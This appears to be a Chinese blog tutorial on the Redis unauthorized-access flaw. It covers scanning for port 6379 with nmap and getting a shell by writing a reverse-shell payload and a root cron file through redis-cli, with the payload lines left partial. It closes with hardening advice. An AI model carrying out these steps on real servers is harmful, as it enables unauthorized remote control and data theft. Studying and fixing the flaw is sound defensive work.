摘要:漏洞可以参考乌云案例
1.Redis漏洞基本信息漏洞名称:Redis服务器远程执行漏洞漏洞详情:Redis因配置不当可以无密码登录,导致未授权访问。
当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件进行远程控制、反弹shell进行远程控制、或投放其他恶意文件,也可以直接执行redis命令,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
利用原理:主要是通过无密码登录redis,然后往redis缓存写入数据库,再通过redis缓存保存到redis服务器任意目录。
目前常用的利用方式:1)写入SSH的key,然后利用key远程登录;2)替换redis服务器passwd文件,相当于修改服务器密码;3)写入网页木马(前提需要找到网站路径),可通过网页木马远程控制服务器;4)写入反弹shell,然后利用shell远程控制服务器;
漏洞等级:高危
2.如何发现存在漏洞的网站
124.116.xxx.xxx(测试服务器哈),公网刷redis漏洞其实也是借助第三方信息收集平台,比如XX眼,然后再通过XXXX找到真实的域名,或者扫描端口。内网的话,就直接nmap -p 6379 192.168.1.1/24 -open。
3.漏洞利用测试
不管内网还是外网,漏洞的利用是关键。现在我们来进行测试一下
返回PONG说明是没有设置密码,直接查看服务器信息 info
一般到这来就可以提交漏洞了,只是getshell厂商给的赏金高,这里直接参考乌云案例步骤
a.由于redis服务器默认是没有设redis访问密码,攻击者可直接向rides服务器缓存写入一个反弹shell:
0>&1\n\n"redis-cli -h 需要测试的网站ip -x set 1
b.登录redis服务器redis服务,进行备份/创建一个/var/spool/cron目录root文件
redis-cli -h 需要测试的网站ip
c.最后就是开启监听端口
4.修复建议
纵观整个攻击流程,之所以很顺利,都是因为redis-server的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。
修复方法参考:
1、限制redis访问
如果仅需要在本地访问redis,找到redis.conf配置文件设置bind配置项为:bind 127.0.0.1
保存,重启redis服务再次查看redis进程。
或主机防火墙/网络防火墙设置仅允许某IP访问redis服务器redis服务端口(默认6379)。
2、设置redis访问密码
增加redis访问密码同上,在redis.conf配置文件中找到requirepass配置项,取消#注释符,在requirepass后面添加设置的密码
3、以非root用户运行redis服务
领取专属 10元无门槛券
私享最新 技术干货